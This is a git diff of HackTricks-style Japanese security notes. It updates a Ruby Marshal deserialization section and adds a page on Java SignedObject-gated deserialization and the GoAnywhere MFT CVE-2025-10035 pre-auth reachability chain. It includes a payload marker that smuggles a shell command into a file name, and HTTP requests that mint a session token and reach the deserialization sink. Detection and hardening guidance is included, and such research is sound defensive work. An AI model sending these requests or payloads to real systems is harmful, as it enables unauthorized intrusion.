任意ファイル書き込みの脆弱性を使って、作成したキャッシュファイルを算出した場所に書き込む。次にサーバを再起動させる(Puma が監視している tmp/restart.txt に書き込むことでトリガされる)。再起動時に Rails がターゲットファイルを require すると、悪意あるキャッシュファイルが読み込まれ、remote code execution (RCE) が発生する。
|
||||
|
||||
信頼できないバイトが`Marshal.load`/`marshal_load`に到達するパスはすべてRCEシンクとして扱います。Marshalは任意のオブジェクトグラフを再構築し、マテリアライズ中にライブラリ/ジェムのコールバックをトリガーします。
|
||||
### Ruby Marshal exploitation in practice (updated)
|
||||
|
||||
- 最小限の脆弱なRailsコードパス:
|
||||
信頼できないバイト列が `Marshal.load`/`marshal_load` に到達するあらゆる経路を RCE シンクとして扱え。Marshal は任意のオブジェクトグラフを再構成し、マテリアライズ時にライブラリ/gem のコールバックをトリガーする。
|
||||
|
||||
- Minimal vulnerable Rails code path:
|
||||
```ruby
|
||||
class UserRestoreController < ApplicationController
|
||||
def show
|
||||
@ -1033,22 +1057,23 @@ end
|
||||
end
|
||||
end
|
||||
```
|
||||
- 実際のチェーンで見られる一般的なガジェットクラス: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`.
|
||||
- ペイロードに埋め込まれた典型的な副作用マーカー(アンマーシャル中に実行される):
|
||||
- 実際の chains でよく見られる一般的な gadget classes: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`.
|
||||
- payloads に埋め込まれる典型的な side-effect marker(unmarshal 時に実行される):
|
||||
```
|
||||
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
|
||||
```
|
||||
実際のアプリでの出現場所:
|
||||
- 歴史的に Marshal を使用している Rails キャッシュストアとセッションストア
|
||||
- バックグラウンドジョブバックエンドとファイルバックオブジェクトストア
|
||||
- バイナリオブジェクトブロブのカスタム永続性または輸送
|
||||
Where it surfaces in real apps:
|
||||
- Rails の cache store や session store(過去に Marshal を使用していたもの)
|
||||
- バックグラウンドジョブのバックエンドやファイルベースのオブジェクトストア
|
||||
- バイナリオブジェクトのカスタムな永続化や転送
|
||||
|
||||
産業化されたガジェット発見:
|
||||
- コンストラクタ、`hash`、`_load`、`init_with`、またはアンマーシャル中に呼び出される副作用のあるメソッドを grep
|
||||
- CodeQL の Ruby 不安全なデシリアライズクエリを使用してソース → シンクをトレースし、ガジェットを明らかにする
|
||||
- 公開されたマルチフォーマット PoC (JSON/XML/YAML/Marshal) で検証
|
||||
Industrialized gadget discovery:
|
||||
- コンストラクタ、`hash`, `_load`, `init_with`、または unmarshal 中に呼ばれる副作用のあるメソッドを grep する
|
||||
- CodeQL’s Ruby unsafe deserialization queries を使って sources → sinks を追跡し、gadget を表面化させる
|
||||
- 公開されているマルチフォーマットの PoC (JSON/XML/YAML/Marshal) で検証する
|
||||
|
||||
## 参考文献
|
||||
|
||||
## References
|
||||
|
||||
- Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
|
||||
- elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
|
||||
@ -1064,5 +1089,6 @@ end
|
||||
- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
|
||||
- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
|
||||
- Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
|
||||
- watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -0,0 +1,140 @@
|
||||
# Java SignedObjectゲート付きデシリアライズとエラー経路による認証前到達可能性
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
このページでは、java.security.SignedObject を中心に構築された一般的な「ガードされた」Javaデシリアライズのパターンと、見た目上到達不能なシンクがエラー処理フローを介して認証前に到達可能になる仕組みを説明します。 この手法は Fortra GoAnywhere MFT (CVE-2025-10035) で観測されましたが、類似の設計にも適用可能です。
|
||||
|
||||
## 脅威モデル
|
||||
|
||||
- 攻撃者は最終的にシリアライズされた SignedObject を意図した攻撃者提供の byte[] を処理する HTTP エンドポイントに到達できる。
|
||||
- コードは検証ラッパー(例: Apache Commons IO ValidatingObjectInputStream やカスタムアダプタ)を使用して、最外層の型を SignedObject(または byte[])に制限している。
|
||||
- SignedObject.getObject() により返される内部オブジェクトが、例えば CommonsBeanutils1 のような gadget chains を誘発する場所になり得るが、署名検証のゲートの後でのみ発動する。
|
||||
|
||||
## 典型的な脆弱パターン
|
||||
|
||||
com.linoma.license.gen2.BundleWorker.verify に基づく簡略化した例:
|
||||
```java
|
||||
private static byte[] verify(byte[] payload, KeyConfig keyCfg) throws Exception {
|
||||
String sigAlg = "SHA1withDSA";
|
||||
if ("2".equals(keyCfg.getVersion())) {
|
||||
sigAlg = "SHA512withRSA"; // key version controls algorithm
|
||||
}
|
||||
PublicKey pub = getPublicKey(keyCfg);
|
||||
Signature sig = Signature.getInstance(sigAlg);
|
||||
|
||||
// 1) Outer, "guarded" deserialization restricted to SignedObject
|
||||
SignedObject so = (SignedObject) JavaSerializationUtilities.deserialize(
|
||||
payload, SignedObject.class, new Class[]{ byte[].class });
|
||||
|
||||
if (keyCfg.isServer()) {
|
||||
// Hardened server path
|
||||
return ((SignedContainer) JavaSerializationUtilities.deserializeUntrustedSignedObject(
|
||||
so, SignedContainer.class, new Class[]{ byte[].class }
|
||||
)).getData();
|
||||
} else {
|
||||
// 2) Signature check using a baked-in public key
|
||||
if (!so.verify(pub, sig)) {
|
||||
throw new IOException("Unable to verify signature!");
|
||||
}
|
||||
// 3) Inner object deserialization (potential gadget execution)
|
||||
SignedContainer inner = (SignedContainer) so.getObject();
|
||||
return inner.getData();
|
||||
}
|
||||
}
|
||||
```
|
||||
Key observations:
|
||||
- The validating deserializer at (1) blocks arbitrary top-level gadget classes; only SignedObject (or raw byte[]) is accepted.
|
||||
- The RCE primitive would be in the inner object materialized by SignedObject.getObject() at (3).
|
||||
- A signature gate at (2) enforces that the SignedObject must verify against a product-baked public key. Unless the attacker can produce a valid signature, the inner gadget never deserializes.
|
||||
|
||||
## エクスプロイトに関する考慮点
|
||||
|
||||
コード実行を達成するために、攻撃者は内部オブジェクトとして malicious gadget chain をラップした、正しく署名された SignedObject を届ける必要がある。これは一般に次のいずれかを必要とする:
|
||||
|
||||
- Private key compromise: 製品が license オブジェクトの署名/検証に使用する対応する private key を取得する。
|
||||
- Signing oracle: ベンダーや信頼された signing service に、攻撃者制御のシリアライズ済みコンテンツに署名させる(例: license server がクライアント入力から埋め込まれた任意のオブジェクトに署名する場合)。
|
||||
- Alternate reachable path: verify() を強制しない、あるいは特定モードで署名チェックをスキップするサーバー側パスを見つける。
|
||||
|
||||
これらのいずれかがなければ、署名検証によりデシリアライズのシンクが存在してもエクスプロイトは阻止される。
|
||||
|
||||
## エラー処理フローを介した認証前の到達可能性
|
||||
|
||||
デシリアライズエンドポイントが認証やセッションに紐付いたトークンを要求しているように見えても、エラー処理コードが誤ってそのトークンを未認証セッションに発行・付与してしまうことがある。
|
||||
|
||||
Example reachability chain (GoAnywhere MFT):
|
||||
- Target servlet: /goanywhere/lic/accept/<GUID> requires a session-bound license request token.
|
||||
- Error path: hitting /goanywhere/license/Unlicensed.xhtml with trailing junk and invalid JSF state triggers AdminErrorHandlerServlet, which does:
|
||||
- SessionUtilities.generateLicenseRequestToken(session)
|
||||
- Redirects to vendor license server with a signed license request in bundle=<...>
|
||||
- The bundle can be decrypted offline (hard-coded keys) to recover the GUID. Keep the same session cookie and POST to /goanywhere/lic/accept/<GUID> with attacker-controlled bundle bytes, reaching the SignedObject sink pre-auth.
|
||||
|
||||
到達性の証明(影響なし)プローブ:
|
||||
```http
|
||||
GET /goanywhere/license/Unlicensed.xhtml/x?javax.faces.ViewState=x&GARequestAction=activate HTTP/1.1
|
||||
Host: <target>
|
||||
```
|
||||
- 未修正: 302 Location header to https://my.goanywhere.com/lic/request?bundle=... and Set-Cookie: ASESSIONID=...
|
||||
- 修正済み: redirect without bundle (no token generation).
|
||||
|
||||
## ブルーチームの検出
|
||||
|
||||
stack traces/logs におけるインジケータは、SignedObject-gated sink を狙った試行であることを強く示唆します:
|
||||
```
|
||||
java.io.ObjectInputStream.readObject
|
||||
java.security.SignedObject.getObject
|
||||
com.linoma.license.gen2.BundleWorker.verify
|
||||
com.linoma.license.gen2.BundleWorker.unbundle
|
||||
com.linoma.license.gen2.LicenseController.getResponse
|
||||
com.linoma.license.gen2.LicenseAPI.getResponse
|
||||
com.linoma.ga.ui.admin.servlet.LicenseResponseServlet.doPost
|
||||
```
|
||||
## ハードニングのガイダンス
|
||||
|
||||
- すべての getObject() 呼び出しの前に署名検証を行い、検証が意図した公開鍵/アルゴリズムを使用していることを確認する。
|
||||
- 直接の SignedObject.getObject() 呼び出しを、内部ストリームへフィルタを再適用するハード化されたラッパーに置き換える(例: deserializeUntrustedSignedObject を使い、ValidatingObjectInputStream/ObjectInputFilter の許可リストを適用する)。
|
||||
- 認証されていないユーザーに対してセッションに紐づくトークンを発行するエラーハンドラのフローを削除する。エラー経路は攻撃対象面として扱う。
|
||||
- 外側および内側のデシリアライズの両方に対して厳格な許可リストを持つ Java serialization filters (JEP 290) の使用を推奨する。例:
|
||||
```java
|
||||
ObjectInputFilter filter = info -> {
|
||||
Class<?> c = info.serialClass();
|
||||
if (c == null) return ObjectInputFilter.Status.UNDECIDED;
|
||||
if (c == java.security.SignedObject.class || c == byte[].class) return ObjectInputFilter.Status.ALLOWED;
|
||||
return ObjectInputFilter.Status.REJECTED; // outer layer
|
||||
};
|
||||
ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
// For the inner object, apply a separate strict DTO allow-list
|
||||
```
|
||||
## 攻撃チェーンの例 (CVE-2025-10035)
|
||||
|
||||
1) Pre-auth token minting via error handler:
|
||||
```http
|
||||
GET /goanywhere/license/Unlicensed.xhtml/watchTowr?javax.faces.ViewState=watchTowr&GARequestAction=activate
|
||||
```
|
||||
bundle=... と ASESSIONID=... を含む 302 を受け取り、bundle をオフラインで復号して GUID を復元する。
|
||||
|
||||
2) 同じ cookie で pre-auth の sink に到達する:
|
||||
```http
|
||||
POST /goanywhere/lic/accept/<GUID> HTTP/1.1
|
||||
Cookie: ASESSIONID=<value>
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
bundle=<attacker-controlled-bytes>
|
||||
```
|
||||
3) RCE は、gadget chain をラップした正しく署名された SignedObject を必要とします。研究者は署名検証を回避できませんでした。悪用は一致する秘密鍵または signing oracle へのアクセスに依存します。
|
||||
|
||||
## 修正バージョンと挙動の変更
|
||||
|
||||
- GoAnywhere MFT 7.8.4 and Sustain Release 7.6.3:
|
||||
- 内部の deserialization を強化するために SignedObject.getObject() を wrapper (deserializeUntrustedSignedObject) に置き換えました。
|
||||
- error-handler の token 生成を削除し、pre-auth reachability を閉じました。
|
||||
|
||||
## JSF/ViewState に関する注意事項
|
||||
|
||||
この reachability trick は、JSF ページ (.xhtml) と無効な javax.faces.ViewState を利用して、特権的な error handler にルーティングします。JSF の deserialization の問題ではありませんが、繰り返し見られる pre-auth パターンであり、特権的な操作を実行し、セキュリティ関連の session attributes を設定する error handler に侵入するという手口です。
|
||||
|
||||
## 参考
|
||||
|
||||
- [watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035](https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/)
|
||||
- [Fortra advisory FI-2025-012 – Deserialization Vulnerability in GoAnywhere MFT's License Servlet](https://www.fortra.com/security/advisories/product-security/fi-2025-012)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user